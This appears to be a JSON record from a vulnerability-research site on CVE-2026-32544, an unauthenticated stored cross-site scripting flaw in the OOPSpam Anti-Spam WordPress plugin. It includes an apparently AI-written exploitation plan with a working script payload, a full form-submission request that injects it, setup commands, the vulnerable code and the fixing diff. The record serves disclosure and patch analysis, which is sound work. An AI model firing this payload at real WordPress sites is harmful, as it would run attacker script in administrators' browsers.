[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6vp5xQcszvxWxKJxjuCb6O5ZGkQkd6SxkxbH9fR6ItI":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-32544","oopspam-anti-spam-spam-protection-for-wordpress-forms-comments-no-captcha-unauthenticated-stored-cross-site-scripting","OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) \u003C= 1.2.62 - Unauthenticated Stored Cross-Site Scripting","The OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.62 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","oopspam-anti-spam",null,"\u003C=1.2.62","1.2.63","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-23 00:00:00","2026-03-26 20:48:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F975c02d9-3e70-4e58-a6bb-57d45282459b?source=api-prod",4,[22,23,24,25,26,27,28,29],"include\u002FUI\u002Fdisplay-ham-entries.php","include\u002FUI\u002Fdisplay-spam-entries.php","include\u002Fhelpers.php","integration\u002FContactForm7.php","integration\u002FWooCommerce.php","oopspam-antispam.php","options.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-32544 (OOPSpam Anti-Spam Stored XSS)\n\n## 1. Vulnerability Summary\nThe **OOPSpam Anti-Spam** plugin (versions \u003C= 1.2.62) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin logs form submissions (including spam and ham entries) into the database without sufficient sanitization of all logged fields, and subsequently displays these logs in the WordPress admin dashboard without proper output escaping. \n\nAn unauthenticated attacker can submit a malicious payload via a protected form (e.g., Contact Form 7, WooCommerce). The plugin captures the entire `$_POST` array, JSON-encodes it, and stores it in the `raw_entry` column of the `{prefix}oopspam_frm_spam_entries` or `{prefix}oopspam_frm_ham_entries` tables. When an administrator views the \"Spam Entries\" or \"Ham Entries\" pages, the unsanitized payload executes in their browser context.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** Any frontend form integrated with OOPSpam (e.g., Contact Form 7 submission endpoint).\n*   **Vulnerable Parameter:** Any field within the `$_POST` body that is captured in the `raw_entry` log.\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:**\n    1.  The plugin must be active.\n    2.  An integration (like Contact Form 7) must be enabled in the OOPSpam settings.\n    3.  A valid-formatted API key must be present (the plugin performs an API check before logging).\n\n## 3. Code Flow\n1.  **Submission:** An unauthenticated user submits a Contact Form 7 form.\n2.  **Capture:** The `OOPSPAM\\Integrations\\oopspamantispam_cf7_pre_submission` filter (in `integration\u002FContactForm7.php`) is triggered.\n3.  **Logging:**\n    -   The code captures the raw submission: `$raw_entry = json_encode($_POST);` (line 62).\n    -   The plugin calls the OOPSpam API via `oopspamantispam_call_OOPSpam`.\n    -   Based on the result, it calls `oopspam_store_spam_submission` or `oopspam_store_ham_submission` (lines 90 or 108).\n4.  **Storage:** The database functions (e.g., `oopspam_store_spam_submission` in `db\u002Foopspam-spamentries.php`) insert the `$frmEntry` containing the malicious `RawEntry` into the database.\n5.  **Rendering:**\n    -   An admin navigates to the \"Spam Entries\" menu (`wp-admin\u002Fadmin.php?page=wp_oopspam_spam_entries`).\n    -   The `OOPSPAM\\UI\\Spam_Entries` class (in `include\u002FUI\u002Fdisplay-spam-entries.php`) fetches the entries.\n    -   The table renders the entries. If the `Raw Entry` column or a \"View Details\" modal prints the JSON data using `echo` without `esc_html()`, the XSS payload triggers.\n\n## 4. Nonce Acquisition Strategy\nNo nonce is required for the **injection phase** because form submissions (like Contact Form 7) do not require an OOPSpam-specific nonce.\n\nTo view the results or verify the logs via the UI, an admin session is required. If the PoC needs to interact with the admin AJAX actions (like `empty_spam_entries`), the nonces are:\n*   `empty_spam_entries_nonce` for the `wp_ajax_empty_spam_entries` action.\n*   `export_spam_entries_nonce` for the `wp_ajax_export_spam_entries` action.\n\nThese can be found in the localized JS data on the OOPSpam settings\u002Fentries pages.\n\n## 5. Exploitation Strategy\n1.  **Preparation:**\n    -   Ensure Contact Form 7 is installed and a form is created.\n    -   Set an OOPSpam API key (even a dummy one may work if the API response is handled gracefully, but a valid key is preferred for a reliable PoC).\n    -   Enable \"Contact Form 7\" protection in OOPSpam settings.\n2.  **Injection:**\n    -   Perform an unauthenticated HTTP POST request to the Contact Form 7 submission handler.\n    -   Include a payload in a field that is *not* the primary message field (to bypass `sanitize_textarea_field` applied to `escapedMsg`).\n3.  **Trigger:**\n    -   Log in as an administrator.\n    -   Navigate to `wp-admin\u002Fadmin.php?page=wp_oopspam_spam_entries`.\n    -   Observe the execution of the JavaScript payload.\n\n### Payload\n```html\n\u003Cimg src=x onerror=alert(document.domain)>\n```\n\n### HTTP Request (PoC)\n```http\nPOST \u002Findex.php?rest_route=\u002Fcontact-form-7\u002Fv1\u002Fcontact-forms\u002F{FORM_ID}\u002Ffeedback HTTP\u002F1.1\nContent-Type: multipart\u002Fform-data; boundary=----WebKitFormBoundary\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"your-name\"\n\n\">\u003Cimg src=x onerror=alert(document.domain)>\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"your-email\"\n\ntest@example.com\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"your-message\"\n\nThis is a spam message to ensure logging.\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"_wpcf7\"\n\n{FORM_ID}\n------WebKitFormBoundary--\n```\n\n## 6. Test Data Setup\n1.  **Plugin Setup:**\n    ```bash\n    wp plugin install contact-form-7 --activate\n    wp plugin activate oopspam-anti-spam\n    ```\n2.  **Configuration:**\n    ```bash\n    # Set a dummy API key (format: 40 characters hex)\n    wp option update oopspamantispam_settings '{\"oopspam_api_key\":\"1234567890abcdef1234567890abcdef12345678\",\"oopspam_is_cf7_activated\":\"1\"}' --format=json\n    ```\n3.  **Form Creation:**\n    -   Identify the default Contact Form 7 ID (usually enqueued on a \"Contact\" page).\n\n## 7. Expected Results\n-   The form submission will be captured by OOPSpam.\n-   The `wp_oopspam_frm_spam_entries` table will contain a new row where the `raw_entry` column contains the string: `... \"your-name\":\"\\\">\u003Cimg src=x onerror=alert(document.domain)>\" ...`.\n-   Upon loading the \"Spam Entries\" admin page, the browser will execute the `alert()` call.\n\n## 8. Verification Steps\n1.  **Database Check:**\n    ```bash\n    wp db query \"SELECT raw_entry FROM wp_oopspam_frm_spam_entries ORDER BY id DESC LIMIT 1;\"\n    ```\n    Confirm the payload is stored verbatim in the JSON.\n2.  **Admin UI Check:**\n    -   Navigate to the Spam Entries page.\n    -   Check if the payload is rendered in the table or the details view without being HTML-encoded.\n\n## 9. Alternative Approaches\nIf Contact Form 7 sanitizes the `$_POST` array before the filter runs:\n*   **WooCommerce Vector:** Use the WooCommerce registration or checkout flow. In `WooCommerce.php`, the `checkBlockedOrderTotal` method also calls `oopspam_store_spam_submission` with a `RawEntry` containing the `email` field. If the email is not strictly validated before logging, it can serve as a vector.\n*   **Direct DB Injection (Log Verification):** To verify the sink (the admin UI) independently of the API key requirement, use WP-CLI to insert a payload directly into the `oopspam_frm_spam_entries` table, then view the admin page. This confirms the \"Stored XSS\" output vulnerability.\n\n```bash\nwp db query \"INSERT INTO wp_oopspam_frm_spam_entries (message, raw_entry, date) VALUES ('XSS Test', '\u003Cimg src=x onerror=alert(1)>', NOW());\"\n```","The OOPSpam Anti-Spam plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to the plugin capturing raw form submission data and storing it without sanitization. Malicious payloads submitted through protected forms are later executed in the context of an administrator's browser when they view the 'Spam Entries' or 'Ham Entries' logs in the dashboard.","\u002F\u002F integration\u002FContactForm7.php (line 62-73)\n        $raw_entry = json_encode($_POST);\n\n        if (!isset($detectionResult[\"isItHam\"])) {\n            return $spam;\n        }\n\n        $frmEntry = [\n            \"Score\" => $detectionResult[\"Score\"],\n            \"Message\" => $escapedMsg,\n            \"IP\" => $userIP,\n            \"Email\" => $email,\n            \"RawEntry\" => $raw_entry,\n            \"FormId\" => $_POST['_wpcf7'],\n        ];\n\n---\n\n\u002F\u002F include\u002Fhelpers.php (line 388-393)\n    $data = array(\n        'message' => $frmEntry[\"Message\"],\n        'ip' => $frmEntry[\"IP\"],\n        'email' => $frmEntry[\"Email\"],\n        'score' => $frmEntry[\"Score\"],\n        'raw_entry' => $enriched_raw_entry,\n        'form_id' => $frmEntry[\"FormId\"],\n        'reason' => $reason\n    );\n\n---\n\n\u002F\u002F include\u002FUI\u002Fdisplay-spam-entries.php (line 997-1002)\n\t\t\tcase 'email':\n            case 'score':\n            case 'raw_entry':\n            case 'form_id':\n\t\t\tcase 'reason':\n            case 'date':\n\t\t\t\treturn $item[ $column_name ];","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002Fhelpers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002Fhelpers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002Fhelpers.php\t2026-01-13 22:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002Fhelpers.php\t2026-03-02 23:01:04.000000000 +0000\n@@ -381,6 +381,7 @@\n     \n     \u002F\u002F Enrich raw entry with HTTP headers and request metadata\n     $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry[\"RawEntry\"]);\n+    $sanitized_form_id = isset($frmEntry[\"FormId\"]) ? sanitize_text_field(wp_unslash((string) $frmEntry[\"FormId\"])) : '';\n     \n     $data = array(\n         'message' => $frmEntry[\"Message\"],\n@@ -388,7 +389,7 @@\n         'email' => $frmEntry[\"Email\"],\n         'score' => $frmEntry[\"Score\"],\n         'raw_entry' => $enriched_raw_entry,\n-        'form_id' => $frmEntry[\"FormId\"],\n+        'form_id' => $sanitized_form_id,\n         'reason' => $reason\n     );\n     $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s');\n@@ -417,6 +418,7 @@\n     \n     \u002F\u002F Enrich raw entry with HTTP headers and request metadata\n     $enriched_raw_entry = oopspam_enrich_raw_entry($frmEntry[\"RawEntry\"]);\n+    $sanitized_form_id = isset($frmEntry[\"FormId\"]) ? sanitize_text_field(wp_unslash((string) $frmEntry[\"FormId\"])) : '';\n \n     $table_name = $wpdb->prefix . 'oopspam_frm_ham_entries';\n     $data = array(\n@@ -425,7 +427,7 @@\n         'email' => $frmEntry[\"Email\"],\n         'score' => $frmEntry[\"Score\"],\n         'raw_entry' => $enriched_raw_entry,\n-        'form_id' => $frmEntry[\"FormId\"],\n+        'form_id' => $sanitized_form_id,\n         'gclid' => $gclid\n     );\n     $format = array('%s', '%s', '%s', '%d', '%s', '%s', '%s');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002FUI\u002Fdisplay-ham-entries.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002FUI\u002Fdisplay-ham-entries.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002FUI\u002Fdisplay-ham-entries.php\t2026-02-05 21:52:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002FUI\u002Fdisplay-ham-entries.php\t2026-03-02 23:01:04.000000000 +0000\n@@ -336,9 +336,10 @@\n \t\t\tcase 'ip':\n \t\t\tcase 'email':\n             case 'raw_entry':\n-            case 'form_id':\n             case 'date':\n \t\t\t\treturn $item[ $column_name ];\n+\t\t\tcase 'form_id':\n+\t\t\t\treturn esc_html( $item[ $column_name ] );\n \t\t\tcase 'score':\n \t\t\t\treturn $this->column_score($item);\n \t\t\tdefault:\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002FUI\u002Fdisplay-spam-entries.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002FUI\u002Fdisplay-spam-entries.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.62\u002Finclude\u002FUI\u002Fdisplay-spam-entries.php\t2026-02-05 21:52:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foopspam-anti-spam\u002F1.2.63\u002Finclude\u002FUI\u002Fdisplay-spam-entries.php\t2026-03-02 23:01:04.000000000 +0000\n@@ -997,10 +997,11 @@\n \t\t\tcase 'email':\n             case 'score':\n             case 'raw_entry':\n-            case 'form_id':\n \t\t\tcase 'reason':\n             case 'date':\n \t\t\t\treturn $item[ $column_name ];\n+\t\t\tcase 'form_id':\n+\t\t\t\treturn esc_html( $item[ $column_name ] );\n \t\t\tdefault:\n \t\t\t\treturn print_r( $item, true ); \u002F\u002FShow the whole array for troubleshooting purposes\n \t\t}","The exploit is conducted through the following methodology:\n1. **Target Identification**: Find a WordPress site running OOPSpam Anti-Spam (\u003C= 1.2.62) with an active form integration like Contact Form 7 or WooCommerce.\n2. **Payload Delivery**: As an unauthenticated user, submit a request to the vulnerable form endpoint. The payload can be placed in any POST parameter (which is logged in `raw_entry`) or specifically in the `_wpcf7` parameter (which is logged in `form_id`). Example payload: `\u003Cimg src=x onerror=alert(document.domain)>`.\n3. **Bypass\u002FTrigger**: The submission must be logged by the plugin as either 'Spam' or 'Ham'. This usually requires a valid-formatted API key to be set in the plugin settings and the submission content to trigger the log logic.\n4. **Execution**: An administrator logs into the WordPress dashboard and navigates to the 'Spam Entries' or 'Ham Entries' pages (under the OOPSpam menu). The unsanitized payload is fetched from the database and echoed directly into the admin list table, executing the attacker's script.","gemini-3-flash-preview","2026-04-17 23:31:17","2026-04-17 23:31:56",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.2.62","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foopspam-anti-spam\u002Ftags\u002F1.2.62","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foopspam-anti-spam.1.2.62.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foopspam-anti-spam\u002Ftags\u002F1.2.63","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foopspam-anti-spam.1.2.63.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foopspam-anti-spam\u002Ftags"]